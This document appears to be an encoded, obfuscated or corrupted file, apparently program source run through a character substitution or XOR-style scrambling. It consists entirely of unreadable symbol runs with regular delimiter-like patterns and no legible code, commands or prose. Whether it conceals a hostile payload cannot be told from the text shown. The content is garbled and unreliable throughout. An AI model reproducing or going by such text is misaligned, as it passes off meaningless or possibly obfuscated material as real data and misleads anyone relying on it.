V^V^OlFFFFFFFlFFFFFF FFFFNGNB!*)$'*5=9UNWSSO;OFFFFG	^R_ NWSVONB!*)$'*5=U	NWSPO;OOFlFFFFFB!*)$'*5=	^R_ NWSPO;FF[FFFFNO]lFllB_ SRF[FFFU	NWU_ON9UNWSUOOFFYFFF&U	NWSQONB
V^V^OFFFFF\F 
]lllFB!*)$'*5=U	NWSPO;=B_ SRFFG[[F 
FFYFB_ SRF\FFB
V^V^;FFF[FFFB
V^V^]lllFFFB	
W^_TVFF[FF 
]lFF FNGB	
W^_TVOFlllFFFFB	
W^_TVFFF[FF]lFFF FFFFFNU	NWS^ONU	NWS_OOOFF	^R_ NWS_ONU	NWPVOO]lllFllFFFllllF 	FFFFF	WW9S9W
NOllF FFFNNB!*)$'*5=	^R_ NWPWO;OFFFFGU	NWPTONB!*)$'*5=U	NWPWO;OOFFlFFF]lllFlFF 	FFFFNB!*)$'*5=P

_
TNWPUO;FFFFB9P_S9^^FFF[XFFB
W^	PU9R ROFFFlFFFF FFFFFNG9UNWUQONB
W^	PU9R ROOFB
W^	PU9R RF[FFFFB9P_S9^^]lllFF FFNB9P_S9^^FFFF[[[FFFFWP__VVUVNOFFFFB
W^	PU9R RFFFFF[[[FFFFFWP__VVUVNOOFF	]lllFFFlFF FFFN&9UNSWONB
W^	PU9R ROOFFlFFFF FFFFN9UNWS^ONP

_
TNWPROOOFFFFU9
 NB
W^	PU9R RJFNVSQMVWROO]llllFF FFFFFNU	NWS^ON9UNW_OOFFFF@@F
VUNB
W^	PU9R ROF@@F9UNWS^ON	^R_ NWPSOOOFF&	9
NB
W^	PU9R RJFFO]lllllFFFFFFFFN2	
FB
WSW9TOFlFFFFFFN#	FFFFFB
WSW9TOFFlIIF16F6	F"\F		
F	lllFFlFlFF 	FFFFFFVR _	NOllllFllllFFFlFFB
WSW9TFFFF[FFP

_
TNWPPONU	NWPQOOFFFYF&	99
NOFFFF\FFFFF

]lFF FFFFFNG9UNWP^ONB
WSW9TOFFFFNB
WSW9T=	^R_ NWP_O;OFFFFFFNB
WSW9T=	^R_ NWQVO;OOF]lFF FFNGU	NPSONB
WSW9T=	^R_ NWQVO;JFFFN#9#44)4JFFF#96'45#JFFFF#9%)4#9#44)4JF#9%)+6/*#9#44)4JFF#935#49#44)4OJFFOOF]lBQWS_P _QFFFF[FFFFFNB
WSW9T=P

_
TNWQWO;OFFFFYFFFNOFB
WSW9T=	^R_ NWQTO;FF\FFDD]l FN	NBQWS_P _QJFU	NWQUOOFFFFFG[[FFFFFF 
FFFFF	NBQWS_P _QJFF9UNWQROOFFFFFG[[FFF 
OFFFF]llFFB PSU
^FF[FFFF9UNWPPON9UNWSQOOFYFFFF&	^R_ NWQSONWP__VVUVNOOFF\FWP__VVUVNO]lFB9 FF[FU	NWPPONU	NWQPOOFFFYFF&U	NWQQONB
WSW9T=9UNWP_O;OF\FB
WSW9T=	^R_ NWP_O;]B
[6.69+',)490#45/)(]B9 	QR[B
L_]lllFFFFFFF FNGU	NWQ^ONB PSU
^OFFFFFGU	NWQ^ONB9 OFFFB9 FG[[FFFFB PSU
^OFF]lllFFF FFFFNNB!*)$'*5=	^R_ NWQ_O;OOFlFFFFFFFBTRV
RUFF[FF&P

_
TNPQONWP__VVUVNOJFFFF 
JFFFFF

JFFVJFFNWVUMU__UOO]lFFF FN	^R_ NWQ^ONBTRV
RUOFFF@@FF9UNP_ON	^R_ NQVOJFFBTRV
RUJFFB9OFF@@FFFB9=W;FFG[[FFNOFFB!*)$'*5=P

_
TNWQ_O;OFFF]FlNBTRV
RUJFFB9O]lFFFF FFFFNNB!*)$'*5=	^R_ NW^VO;OOFFFlILF	F	FLIllFFF FFN	^R_ NWPPONU	NW^WOOOFF&
NJFWP__VVUVNOO]llFFFFFFBV^_		F[FFNOFFF&	^R_ NW^TONWP__VVUVNOOFFFHFFA\AFFFFHFFNOF&	^R_ NQWONWP__VVUVNOO]lF FFFFFNBV^_		FFFG[[FFFFNOFFB!*)$'*5=	^R_ NW^VO;OF]FFFlFFFFFFNBV^_		O]lllFlFFFFFlBTVFF[FFFFU	NWTONWP__VVUVNOJFP

_
TNW^UOO]llFFFFFBRT9	FFFF[FFFP

_
TN_SON9^QSRQNNOFF&	^R_ NPQONWP__VVUVNOOOO]lFFFFFU_TVQTQ	_N	^R_ NWR^ONWP__VVUVNOOFFFHF9UNW^ROFFHFBTVJFBRT9	JFAAO]l FFFFNBRT9	FG[[FFFDDOFFFFFFlU_TVQTQ	_NP

_
TNWR^ONWP__VVUVNOOFFFFHFFFP

_
TNW^SOFFFFFFHFFFFBRT9	JFFFNOFU	NW^PONOJFFFAAO]lFF FFFFNU	NW^QON9UNW^^OOOFlFFFFFF&9		N9UNW^_OJFFFFFBRT9	FHFFAAFFFFFHFP

_
TNW_VONOJFFF	^R_ NW_WOO]lFlFFFFFlFFFFFFFBR
WTWF[FFF9	_	^R	VVNO]lFFFF FFFNBR
WTWFFFG[[FFP

_
TNW_TONWP__VVUVNOOFFFF@@F&U	NWRPONBR
WTWOFFF@@FFF&P

_
TNWRQONBR
WTWOOFFFFllllFFFFU_TVQTQ	_NBR
WTWFFHFFFFFF	^R_ NW^ROFFFFHFFBTVJFFBRT9	JFFFFAAO]lFlFF FFFN	^R_ NW^QONP

_
TNPVOOFFF@@FFFF9UNW_UON9UNW^^OOOFlllFBWUUFFFF[FF9		N9UNW_ROJFFFNOO]lF FFFNP

_
TNWP^ONBWUUOFFF@@FP

_
TNW_SONVSPQ_V_P VNOJFFFBWUUJFOOFFFl&9		N	^R_ NW_ROJFU	NPPONU	NW_PONBWUUJFFFFFNVSPQ_V_P VNOOOOO]lFFFFFFlFFlPSU_^_U
T_N9UNW_QOO]lBQP WT9F[FWP__VVUVNOFFFFHFFFF9UNW_^O]lFFFFFFF FNU	NW_UON	^R_ NTUOOOF&U	NW__ONWP__VVUVNOJFBQP WT9O]lFF FFFFFNU	NW_UONU	NTVVOOOFll&	9
NWP__VVUVNOJFFO]lllFFFFF&	9
NBQP WT9JFFO]lFFllllllFFFFF 	FFFFNN	^R_ NW_TONBQP WT9OJF9	_	^R	VVNOOFFBVQ	P
^ OFFFlllBU_	SFF[FTWUQSQNBVQ	P
^ O]llllF FNGU	NWP^ONBU_	SOOFFF	]BWSU^_SP[QSR]B_RP	9[NBWSU^_SPXVOYBWSU^_SP\KBWSU^_SP]lF 	FFFFFFNBU_	SFFFFFFFBUV
OFFFFFl FFFFFNU	NWTQONBUV
JFFFFKNWSKQOOFG[[FFFP

_
TNTVWOOF	]lFFBQ TVPF[FFBVQ	P
^ FFHFFFAIAFHFFBUV
]lFFFB
RQFFF[FF&P

_
TNTVTONBQ TVPO]lFFF FFNB
RQFF@@FFB
RQFZFP

_
TNTVUONOFFFFFKFFNPVRQP_MUWOOFFFFlIIF	F
llFFFFU9
 NBQ TVPJFNRW^MTOO]llllF
VUNBQ TVPO]lFlFFFFFFlFFFFlllFFFNBVQ	P
^ JFFFBU_	SJFFBUV
JFBQ TVPJFFFFB
RQO]lFFFFFFFFFFFN2	
FFFFB^V_OFFFlFFFFFFFFN#	FB^V_OFFFFFlllF 	FFFFFF	_UTURNB
V^V^JFFBPVPQPUOlFlFFFFFFFl FFNGP

_
TNWQ^ONB
V^V^OFFFFFFFFB
V^V^FFFF[[[FFDDFFFFFFFGU	NWQ^ONBPVPQPUOFFFFFBPVPQPUFF[[[FFFDDOFFF]lFBQ
WVFFF[FFFP

_
TNTVRONB
V^V^O]l FFFNG&P

_
TNTVSONBQ
WVOFFFFFFFFFFG&P

_
TNWRQONBQ
WVOOF]lFB9RS
_WFFFF[FFBQ
WVFFFHF9UNTVPOFFFHFFF	^R_ NTVQONB
V^V^JFFFF9UNW^UOO]lBPQW 9QWTF[FF&	^R_ NTV^ONB9RS
_WO]l FN	^R_ NTV_ONBPQW 9QWTOFFFFF@@FU	NP_ON	^R_ NTWVOJFFFFFBPQW 9QWTJFFFBQWS_P _QOFFF@@FFF	9	NBQWS_P _Q=V;JFFFFFBPVPQPUJFFFFFF9UNTWWOOOF]lFFFFF FNU	NW_UON	^R_ NTWTOOOFFF&	^R_ NTWTONB9RS
_WJFFFBPVPQPUO]lFFFFFFFN2	
FFFFB
WSW9TOFlllFFFFFN#	FFB
WSW9TOFFlFFlFFFlFFFFFFFF 	F^^WWPNOllFFFFFFFFFl FNG9UNTWUON9UNPVOOOFFlIIF654KRFF 	F llFF]lFFlFFFFF FN&9		NP

_
TNTWROJFVOOFBUP S[WTPTRP]B
V^VT[BUP S8U]llFT
VVUN	^R_ NTWSOJF	^R_ NTWPOJFVO]lFFFl FFFFNG_QTSS_^P
 _RWN	^R_ NTWQOOOFFF]lFFFlFFFFBTS
F[FFU	NWTQONP

_
TNTW^ON'$56'2.FFFHFFNOFFFR
PPRTNOOJFFFFVJFFFNVSMVQOO]lllFFFBTSRTWFFFF[FFFFFNOFF&9		NBTS
JFFFDDO]lFFBU	^R
FF[FFFF	^R_ NTW_O]lFFFFBWPS9QVF[FDD]lllFFFFFllB T9 WPF[FFFN^SU^S
_NOO]lFFB9
S^QWUFFFF[FF^P	PU QNO]lFB QV^USP^F[FFFFB9
S^QWUFFFHFFAAFFHFFB T9 WP]lFl FFN9UN_UONBTSRTWJFFFAAOFFG[[FFF 
OFlllFFFFBSPF[FFU	NTTVONAAJFBTSRTWJFFFFTO]lBU	^R
FFF[FFFBSP=V;]lFFFFBWPS9QVF[FFFBSP=W;]FFFFlFFFFF
FlFFlFFFBWPS9QVFF[FFBTSRTW]lFll FFNGBWPS9QVOFlF&9		NBTS
JFFFB QV^USP^JFFF9UNTTWOO]lF]lllFFFFlllllFF FFNBWPS9QVF[[[FFFB T9 WPOFFFFlFF FFFNBTSRTWFG[[FFB QV^USP^FFF@@FFF	9	NB9
S^QWUJFBU	^R
JFFFU	NTWWOOOFFFFFlFF&9		NBTS
JFB QV^USP^JFFFU	NTTWOO]lFl]lFFFFFFFlFFFFlFB^S^PWRFFF[FFNBWPS9QVO]lFFFFFF FFNB^S^PWRFFF[[[FFFFFDDFFFFF9UNTVQONB^S^PWROFFFG[[FFFFB^S^PWROFFlFF&9		NBTS
JFFFFB QV^USP^JFU	NTTWOO]lFF]lFlFFFFFFFB_W_WRFFFF[FFF9	_	^R	VVNOFHFFFFAIAFFHFFFB^S^PWR]lllFFBP	SRFFF[FFFFDD]lF FFN N	^R_ NPOOOFFFlBP	SRF[FFF1696*3!/(9"/4FHFFFFFAIAFHF	^R_ NTTTONB^S^PWRJF6'2./( )9 /*#('+#OFHFFAIAFFFHFFFFB^S^PWR]lFFFFFFllllFFFFFFlFFBU^^FFFFF[F&9UNW^TONB_W_WRO]lFFFB UV9VF[FFFFFBU^^FFG[[FFF 
FFF@@FFFFBU^^FX[FFFFNVWTPMVWWO]llllFFFFFFB RFF[FFFBP	SRFFYFFF&	^R_ NTTUONBP	SROF\FFF 
]lFFB9 V_FFFF[FB RFFFG[[FFFFF 
FFF@@FFB RFFFFFX[FFNUQU_MWTPWO]llF FFNGB UV9VF@@FFFGB9 V_OFFlF&9		NBTS
JFB QV^USP^JFFFF	^R_ NTTWOO]lFFF]B^ 9 [6.69+',)490#45/)(]B ST[B^ 9 LR]lFFFllFFB
 F[FFB UV9VFFFFFFYFFFB_W_WRFFFFF\FFFFBP	SR]lB
URV_QFFFF[FFF&P

_
TNTV^ONB
 JFFF 
JFF

JFFVJFNR_WTK^WPOO]lFFllFFFFF FFFFFN	^R_ NTV_ONB
URV_QOFF@@FF	^R_ NTTRONP

_
TNTTSOJFFB
URV_QJFFFFFB9 OOFFlBU	^R
FFF[FB9 =W;]lFFFF
 FN_9
U NB
 JFFNPWSPKWWSPOOOFFllFBU	^R
FF[F	^R_ NTW_O]llFlFFFFFFNB
URV_QJFFFFFB9 O]lFB99
9^	F[FFB UV9V]ll FFNGB99
9^	FF@@FFFFB9 V_OFlFBQTUVSFFF[FF9UNTTTONB^S^PWRJFF6'2./( )9 /*#('+#OFFFFFHFFAIAFFHFFB^S^PWR]lBQ^PQFFF[FFNOFFFF&9		N	^R_ NTTPOJFFNOO]lFFFFFFFFB99
9^	FFFFF[FF9UNW_SONBQTUVSJFFFFFBQ^PQJFFO]lFF FFNGB99
9^	F@@FFFF	^R_ NTWUON	^R_ NTTQOOFF@@FFFFF9
NOFF@@FFFP

_
TNTT^ONU	NTT_OOOFFFlB P^F[FFFFNOFF&99		NP

_
TNTUVOJFFFFNOO]lFFFFFB99
9^	FF[FFFNB P^=BQTUVS;O]llllFFNB P^O]lFFFFllFlFFFFNBQTUVSJFBQ^PQO]lllFFFllFFFFFFFBQWUTFF[FFF	9	NB9
S^QWUJFFFFFBU	^R
O]ll FFFFNBQWUTFZ[FFFVOFlllB
W^9FFFFFF[FFF_9
U NB
 JFNR_TQMQUOO]lFB	V9FFFFF[FFNOF&	^R_ NTTUONB
 O]lFFFFFBU
R_T	U_FFFF[FFNGB
W^9FFFFB	V9FFFXFNQUT^USVRKTV^SRQVROO]lFFFF FFNGBU
R_T	U_F@@FB	V9FXFNVT T^MVWV^OOFFFFFlIIF
	F
llFFFB _ WF[FFF&P

_
TNTUWONB
 JFF 
JFF

JFFVJFFNRVWPM^VOO]lFFFF FFFFNG9UNTUTONB _ WOFFFFFFFFGU	NTTRON9UNTUUOJFFB _ WOOFFFBU
R_T	U_FF[FF]lllFFlllFFFFFF FFFFNGBU
R_T	U_FF@@FGQSTS	QQNB
 OOFBU
R_T	U_FF[FFFF]lFFFF FFFNGBU
R_T	U_OFFFlFFBPQ	FFF[FF
^W^PRNO]lFF FNGNBPQ	=9UNTURO;OOFlIIF654KWSF
\F	
F
	llFFB
R	R_
 FFFF[FFFF&P

_
TNTUSONBPQ	=	^R_ NTURO;O]lFFBRWRSVV^FFFFF[FFFFF&9UNTUSONB
 O]lFF FFNU	NTUTONB
R	R_
 OF@@FF9UNTUTONBRWRSVV^OFF@@FFFFFFB
R	R_
 FF[[[FFFBRWRSVV^OFFlFFFFFB9SF[FFWT QNBPQ	O]lFFFF FFFFNB9SFFF[[[FF	^R_ NTUPOFFFFB9SFF[[[FFFF9UNTUQOOFFBU
R_T	U_FFFFF[FFF]lFFFFFlNB
R	R_
 JFFBRWRSVV^JFB9SO]lFlIIF F	KF 	F16F!	F$
	llFF FNGBU
R_T	U_FFFFFF@@FFV	 SNB
 OOFFBU
R_T	U_F[FFF]lNBPQ	O]lFFFlFF FFFNBU
R_T	U_OFFl FNB
W^9OFF9	S
W NB
 O]lF&9		NBTS
JFFFB QV^USP^JFU	NTTWOO]l]lFFFFl FFNGB99
9^	OFFFlFF&9		NBTS
JFFB QV^USP^JF9UNTTWOO]lF]llllFFFlFFF	_UTURNWP__VVUVNOJFFBU	^R
O]lFFFUU9NWP__VVUVNOO]lllFFFFFFF]lllFFFFF FNNB!*)$'*5=	^R_ NTU^O;OOFllFB!*)$'*5=U	NTU^O;FFFF[FFFF]lF FN_9
U NB
 JFFFNR__WM_OOOFF9	S
W NB
 O]lBW
 VFF[FFU	NTVUONO]lllFVVRQQ9U^NWP__VVUVNOJFFFNBW
 VFFKFFFFFFNBW
 VFFFCFFFFNWSV^WWKSV^WWOOOFFFMFFR
PPRTNOO]lFFFNBW
 VO]lllFFFFFFFF	_UTURNB_W_WRJFFFB9
S^QWUO]lFFFF FFFFFFNBP	SROF	_UTURNBP	SRJFFFB9
S^QWUO]lT
VVUN	^R_ NTU_OJFFFFP

_
TNTRVOJFFVO]l&9		NBTS
JFFFFB QV^USP^JFFU	NTTWOO]lPSU_^_U
T_N9UNTRWOO]l FFNBP	SRFG[[FFFFDDFF@@FFF	^R_ NTT^ONU	NW^^OOOFFFFlFFFBSRQS^SQS
FF[FFFFFU	NTTTONB^S^PWRJF6'2./( )9 /*#('+#OFFFFFFHFFFFAIAFHFFFFFB^S^PWR]llBQ^PQF[FFF&9		N	^R_ NTTPOJFNOO]B9TRV[6.69+',)490#45/)(]B_QU^^[B9TRVLW]llllF FFFNP

_
TNWP^ONBQ^PQOFF@@FF	^R_ NW_SONBSRQS^SQS
JFFFBQ^PQJFFOOFFFlFF&9		NP

_
TNTTPOJFFFFU	NPPON	^R_ NW_PONBQ^PQJFFNBSRQS^SQS
OOOO]llFNBSRQS^SQS
JFBQ^PQO]llFlFF]llllFFFFFFFN2	
FFB
WSW9TOFFlFF	RR^TT9
NU	NTRTOJFB
WSW9TO]llllFFFFFFFFFN#	FFB
WSW9TOFFlFFF 

FFFlFFFSU_T	_N	^R_ NTWQOO]llllFFlllFlF 	FFTWUQSQNBQ
WVOllllFF FN9UNTT^ONU	NTRUOOF@@FFFP

_
TNTT^ON	^R_ NTRROOOFFlllFBP 9RUF[F&	^R_ NTRSONBQ
WVO]ll FFNBP 9RUOFFBR	Q^ [TUUWWW]BVVVTT9[BR	Q^ 8_U]lFFBU	9FFFF[FFFFNO]lF
FNNB
WSW9TFF[FF&P

_
TNTRRONBP 9RUOOFFFG[[FF 
OFFFFl FFNB
WSW9TFFFG[[FAHAFF@@FB
WSW9TFFG[[FU	NTRPOOFFFFBU	9=;FFF[FB
WSW9T]lFlFFFF FNP

_
TNTRQONU	NTR^OOOFFFFF&9UNTR^ONBP 9RUO]lFFFFFFFFFFBU	9]llFFFFFFlF FFFFFFNU	NTR_ONP

_
TNTSVOOOFlFFFB TW	R	_ SQPFFFFF[F&U	NTSVONBQ
WVO]l FFFFN9UNWP^ONB TW	R	_ SQPOOFFFF9UNTSWON9UNW_PONB TW	R	_ SQPJFNAHAJFFFFFP

_
TNTRPOOOO]lFFFFFFll FFFN9UNTSTONP

_
TNTSUOOOFlFFB
^Q^	P^R
UFF[F&9UNTSRONBQ
WVFHFFFF9UNTSSOO]lFFFFFFF FFN	^R_ NWP^ONB
^Q^	P^R
UOOFF	^R_ NTSPON9UNTSQOJFB
^Q^	P^R
UO]lFlFFFFFFFF

]lFFFFFFFll 	FS_V9QNBR^STV	
WOllFF FFFFFNG	^R_ NTS^ONBR^STV	
WOFF	^R_ N_UONBR^STV	
WJFF9UNTS_OOFF[[[FFFF 
OFFF 
]B^_S[_TLT]BUP	WW [B^_SK^]lFFFFFFF FFFFFNU	NWVONBR^STV	
WOFFFFFXFFNWVR^R_VM^POOFFBR^STV	
WFF[FFFFF9^QSRQNBR^STV	
WO]llllF FN	^R_ NWVONBR^STV	
WOFFXFFFFNW_^SV^UK_UPSVQOOFFFF 
]lFF FFNGP

_
TNTSTONU	NTPVOOOFFFFF]lFFF FFFNG N9UNTPWOOOFFFlFFFFFB^9URFF[F&	99

NBR^STV	
WO]lFFF FFFNG	^R_ NWP^ONB^9UROOFFFFFFFF]lFFFFB^W9V 9FF[FFFV]lFFFFFF 	FFFFNB^9URFFBTOFFlFFFFFFF FNP

_
TNTPTONBTOOFFFFllFF FNBT=V;FFFFF[[[FF29%34*?9)6#(FFFBT=V;FFFFFF[[[FFF29")**'49)6#(9%34*?9$4'%#5OFB^W9V 9MM]lFFFF	]ll FFFNBTFF[[[FFFFAAOFFB^W9V 9MM]lFFFFF
 FNBTFF[[[FFAAOFFFFFllllFFFFB^W9V 9KK]lF FFFFNB^W9V 9FZFVOFFFF 
]lllFFllllllllFFFFFFFFFFB^W9V 9FFF[[[FFFV]lFlFlFF&	99

NBR^STV	
WJFF2)-#(96'45#O]lllFFFFFFFFF]lFFFFFFFFN2	
FFB
WSW9TOFFFlFFFFFFF 
]lFFFFFFFFFFFFFFN#	FB
WSW9TOFFFFlFFF 
]lFFFllFFFF 	FFFRQW^	NOlFFFFlFFNU	NTPUOJFFFFF9UNTPROJFFF9UNTPSOO]lFFlFFFFFFF 	FF9QVTRV NOlFFFFFlFFFFFNU	NTPPOJFF	^R_ NTPQOJF	^R_ NTP^OJFFFFU	NTP_OJF	^R_ NTQVOJFP

_
TNTQWOJFF	^R_ NTQTOJFF9UNTQUOJFFFP

_
TNTQROJFP

_
TNTQSOJFFF	^R_ NTQPOJFFFFU	NTQQOJF9UNTQ^OJFFP

_
TNTQ_OJFFP

_
TNT^VOJFFFP

_
TNT^WOJFFP

_
TNT^TOJFP

_
TNT^UOJFFFF9UNT^ROJFFFFF9UNT^SOO]B S9 [_^MPQ]B_U
P[B S9 KTP]llllFFFFFFFFlFF 	FFFF_TPW	NOlFlFFFFN	^R_ NT^POJFFU	NT^QOJFFFFU	NT^^OJFF9UNT^_OO]lFlFFFlFFF 	FS9U UUP 9NBQQS9OlFFFlFF FFN	^R_ NT_VONP

_
TNT_WOOOFFFFF	NBQQS9JFFNRW8UTOO]llllF FN	^R_ NT_TONP

_
TNT_UOOOFFFFlFFFFD:W :^:V^:VV:VV:VV:VV:VV:VV:VUDFFFHF 
NBQQS9JFNSMROOFFFHFFFFFU	NT_RONA0AJFFF9UNT_SONBQQS9OOFFFFHFFFFP

_
TNT_RONA0AJFFU	NWVONBQQS9OFF@FFNPSW^S^TQU_KTTTUPWSRRROO]llFFFFlFFFBQQS9]lFFFFlFFFFF 	FFTUP	
W	NBQQS9OllFFlFF FNG9UNT_PONBQQS9OFFFFFP

_
TNT_QONBQQS9OFFZFFFTOFFFFBQQS9]l FFNU	NWTQONBQQS9JFFFFVJFFFFTOFFFG[[FD:W :^DOFFFFFFFFBQQS9]llFF FFFNU	NT_QONBQQS9OFFZFFNVUMV OOFFFF 
]lFFFBTSRS^9FF[FF&U	NT_^ONA0AJFFFFFF9UNWTQONBQQS9JFFFFKNWS_8WSSOOO]lFFFFFBTSRS^9FFFFF[FFFP

_
TNTPTONBTSRS^9OFYFBTSRS^9=W;FF\FV]B
WRTRQ[RWWVV]BUS[B
WRTRQ8PT]llllFF FFFNBTSRS^9FFFZFFFNUTPMWQROFFFFFFFBTSRS^9FFFFXFFFFNVU MVWRVTOOFFF 
]llllFFF FFFNU	NT_TON	^R_ NT__OOOFFlBWRV	P
UF[FF&	NBQQS9JFFFNSPRUSRMR^RTTTOO]lFFFFllFFFFFF FFFNBWRV	P
UFFFG[[F 
OFFFFBWRV	P
U]lFFFFFlFFF FN9UNUVVON	^R_ NUVWOOOFFFllllFFBWRV	P
UF[F& 
N	^R_ NWTQONBQQS9JFNTTT8TWTOJFFF	^R_ NUVTONBQQS9OFKFNTMWPOOJFNWTSQ^^UKTV_UVQOO]lllFFN	^R_ NT_PONBWRV	P
UOFFF@@FFFFF	^R_ NUVUONBWRV	P
UOFFZ[FFFFFNVPU^MV_WW^OOFYFFBWRV	P
UFFF\FFF 
]lFFFFFFFlFFFF 
]lllFFFFllllFFFlF FNGFFFFU	NUVRON9UNUVSOOOFFFlll 	FTNB^U _VOlFFllFFFFF FNGFFFFFFP

_
TNUVPONB^U _VOFFFFFFFFP

_
TNUVQONB^U _VOFFFFCFFFFTFFG[[FFVOFlFFF 
]lFFlFFF	^R_ NT_RON	^R_ NUV^OJFFFFFFB^U _VO]lFFFlFFFFFlllF 	FFFWRP NOllllFlFFFFB9_U FFFFFF[FFFFFFNO]lFFB		QFFFF[FFN'$56'2.JF'$56'2.FFFHFF9UNUV_OJFFFF'$56'2.FFHFFU	NUWVOO]lFFFFFFF FFN NP

_
TNWRVOOOFFFB		Q=;F[FF169%)(2#(29"/4FFFHFFAIA]lF 	FFFFFNB		QFFFFFBWRV	P
UOFFFlFFB9VPVFF[FF	^R_ NUVRONU	NTSROOFFFFFYF&P

_
TNUWWONBWRV	P
UFHFF	^R_ NUWTOOFF\FF 
]lF FN9UNTPTONB9VPVOOFFFFlF 	FFFNB9VPVFFFBT	W QOFllllFFBW_R	FFF[FF&P

_
TNTVTONBT	W QO]llll FFFFNBW_R	FFF@@FFBW_R	FFFXFFN_RPP^RQUVMQVOOFFFFlFFB9_U =;FFF[FBW_R	]llllFFlFlFFFFFlIIF&
FllFFllll FFNGNB9_U OOFFFlBR WPV FF[FFB9_U =U	NUWUONB9_U O;]llFFNBR WPV FKFFFNBR WPV FFFFCFFFFFFN___WSM^SOOOFFFMFR
PPRTNO]lFlFFFFFFBP QWTF[FFFFP

_
TNUWRONOFFFFFKFFFNNUV_MSPOFFLFFFFFNTUMWOFFFFFLFFNTVRQMWSSUOO]lFB	UFFFF[FFF9UNUVRON9UNUWSOOFFFFYFFF9NVJFNVWMVUOFFFLFFNVMVOFFFFLFFNUSVUM_QOOFFFF\F	^R_ NUWPONVJFFFNTSMSOFFLFFNRMTVOFFFFFLFNRPUTKWVUTOO]lFFFBR WPV FF[FBP QWTFFFFFKFFB	U]lFFNBR WPV FFFFFKFFFFFNBR WPV FCFFFFFN^RR^^MWSSWTOOOFMFFFR
PPRTNO]llFFFFFF 	FFQQU9	RPNB^WP JFB	SPJFB	WQPUQRFF[FFFF

OlFFFFlFFBQWR_Q T
F[FFFF 	FFFFFNB
WOFFFFNB	WQPUQROFlFFFFFFF FNGU	NUVPONB
WOFFFFB
WFFF[[[FFDDOFFF 
]lFFF FFN9UNUWQONB
WOFXFFFNWPQRRQ^PK^USPWQ^OOFFFF 
]l FFNB	WQPUQROFFFFllFFFFFllFN		
OF	^R_ NUW^ONB	WQPUQRJFFFFB
WO]lFFFFFFFFFFFFN2	
FB
WSW9TOFlllFFFFF 
]lFFFFFFFFN#	FFFFB
WSW9TOFFlFFFFFFFFFF 
]lFFFFFFFFlFFFFlllFFF]lFFFFFF]lFB
F[F	^R_ NUVRON	^R_ NUW_OOFFFFFYFFFFF&P

_
TNUTVONB^WP JFNlFFFFFP

_
TNUTWOFF[XFFB	SPJlU	NUTTOF[XFF 
JlFFFFFFFF	^R_ NUTUOFFFFF[XFNVW^QMVPTQ^TTOJllOOFFF\F 
]llFFFF FNB
F@@FNGU	NUVRONP

_
TNUTROOFFFFG99	NB
OOOFFllllFF FNNOF9	99	9	NB
OFF[[[FFNTSW8SWOOFFFlFFFFBW^RV9FF[FF9	99	NB
O]lFF FNBQWR_Q T
NBW^RV9OOFFFFFFBW^RV9]lFFFlFFlFFFFFFF FNP

_
TNUVRON	^R_ NUTSOOFF@@FFFFF9UNUVRONU	NUTPOOF@@FP

_
TNUVRONP

_
TNUTQOOOFFFlFFBQVVFFF[FF&9UNUTSONB^WP O]l FFNBQVVFF[[[FFFFF 
OFFFF 
]lllF&P

_
TNUTPONBQVVJFFFNlFFFF	NP

_
TNUT^OOFF[XFFJlF	NP

_
TNUT_OOF[XFB	SPJllllFF	NP

_
TNUUVOOF[XFFF 
JlFFF	N9UNUUWOOF[XFFFVJlFFF	N9UNUUTOOFFF[XFF 
JlllF	N9UNUUUOOFFFF[XFF 	FFFFFNBT VVJFB RQJFBQ OFFFFFFFBQ FXFFN^U^^SRTMPPOFYFFFFFFWF\FFFFFFV]FFFFJllFOO]llllFFFBRTSRFF[FF&	^R_ NUTQONBQVVO]lFBVWS
  WFF[FFFF&
9	NBQVVO]lFFBPU
9T^F[FF&
9 	NBQVVO]llll&
9
	NBQVVO]l FFFNBVWS
  WOFFFFF 
]l FNNOFFBPU
9T^=U	NUURO;FF[[[FNWWSM^SOFFFFF@@FBRTSRFFFFFG[[FFFF 
F@@FFBQWR_Q T
NBRTSROOFFFlFFFFBRTSR]lFllIIF	F	llFF 
]lFllF 	FWWQW_	Q^QNB^WP JFFFB9 
VJFFFB_WJFFFFB	SPJFFB	WQPUQRFF[F

OlFlFFFBQWR_Q T
FFFF[FF 	FFFNB
WOFFFFFNB	WQPUQROFFFlFFF FNG	^R_ NUVPONB
WOFFFFFFB
WFFFFFF[[[FFDDOFFFFFF 
]lFF FN	^R_ NUWQONB
WOFFFFFXFFFN^U^^S_WMWQOOFFF 
]lFFF FFFNB	WQPUQROFFllllFFFFFlFFFFFFN		
OF9UNUUSONB	WQPUQRJFB
WO]lFFFFFFFFFFN2	
FFFFB
WSW9TOFFFllFFF 
]lFFFFFFN#	FFB
WSW9TOFlF 
]lFFFFlllFlFFFF]lF]lFFFB
FFFF[FF9UNUVRON	^R_ NUUPOOFYFF&9UNUUPONB^WP JFFNlFFFFFP

_
TNUUQOF[XFB	SPJllFU	NUU^OFF[XF 
JlFU	NUU_OF[XFFFNWVPTTRUTKTTUU^TROJlP

_
TNURVOFF[XFB_WJlFFFP

_
TNURWOF[XFB9 
VJllllFFFFOOF\FF 
]lFFFFF FFNP

_
TNUVRON9UNURTOOFFF@@F99	NB
OOFFlF
 FFFFFNB
OFFFlFFBR^STV	
WFFFF[FNOF9	99	9	NB
O]lBQV
UFFFF[FFF9	99	NB
O]llllFFFFFFB
P	RFFF[FFF9	99NB
O]lFFBUSP	FFFF[FFDD]lF FFFFFFNU	NURUONB
P	ROOFFlIIF16F6	F%	\F		K FllFFFFFF 	FFFNB
P	RFFFFFFB9 T^SPTWSFFF[XFB^9V
OFlFBUSP	FFFH[FFB9 T^SPTWSFFFFFFHFFF	^R_ NURROFFHFFFFFB^9V
FFHFU	NURSO]lFllllFlF FFNBR^STV	
WF[[[FN_PMWVROFFF@@FFBQWR_Q T
NBQV
UOOFFlFFFBQV
U]lFFFFFFFllFFlF
FlFFFFlF FNP

_
TNUVRONU	NUTSOOFF@@FFFU	NURPONU	NUTPOOFFF@@FFFF9UNURPONU	NUTQOOOFFlFBQVVFF[F&9UNUTSONB^WP O]l FFFFNBQVVF[[[F 
OFFlFFF 
]llIIF&
F	K
llB	WQ 9PFFFF[FFNO]lF 	FNB_WFFFFFFFB9 T^SPTWSFF[XFB^9V
OFFlB	WQ 9P=;FFFFFF[FB9 T^SPTWSFFFHFFF	^R_ NURROFHFFB^9V
]lFlFF&	^R_ NUTPONBQVVJFFNl	N	^R_ NURQOOF[XFFFJllllFFFFFF	NU	NUR^OOF[XFFFFFB9 
VJlFF	NU	NUT^OOFF[XFFFFJlFF	N	^R_ NUR_OOF[XFFB	SPJlFFFFFF	NU	NUUVOOFFFFFF[XFF 
JlFFFFFFF	NP

_
